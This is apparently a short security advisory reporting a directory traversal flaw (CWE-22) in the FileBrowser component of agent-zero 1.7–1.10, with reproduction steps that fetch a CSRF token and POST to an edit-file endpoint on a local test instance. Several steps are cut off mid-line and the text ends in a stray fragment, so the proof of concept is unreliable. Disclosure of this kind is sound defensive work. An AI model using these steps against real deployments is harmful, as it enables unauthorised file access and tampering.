Type: Directory Traversal
Product: agent-zero
Affected versions: 1.7, 1.8, 1.9, 1.10
Affected component: python/helpers/file_browser.py:FileBrowser.__init__
Suggested CWE: CWE-22 (Directory Traversal)
Reference: agent0ai/agent-zero#1539
agent-zero 1.7, 1.8, 1.9, and 1.10 is vulnerable to Directory Traversal in python/helpers/file_browser.py:FileBrowser.init. The FileBrowser class initializes with the host root directory as the workspace, allowing the agent to access any file on the system without restriction.
Condensed from the authorized local validation used for the original report; local filesystem paths are replaced with <local-path>.
- Start an affected agent-zero snapshot in an isolated local environment with the web service bound to 127.0.0.1:15001, using: python run_ui.py --port 15001 --host 127.0.0.1 -
- Wait until GET http://127.0.0.1:15001/health returns successfully.
- Request GET http://127.0.0.1:15001/csrf_token with Origin: http://127.0.0.1:15001, then use the returned token as both the X-CSRF-Token header and the csrf_token_<runtime_id
- Send POST http://127.0.0.1:15001/edit_work_dir_file with Content-Type: application/json and body: {"path":"","con 5. The observed service response was {"ok": true} …
Ro1ME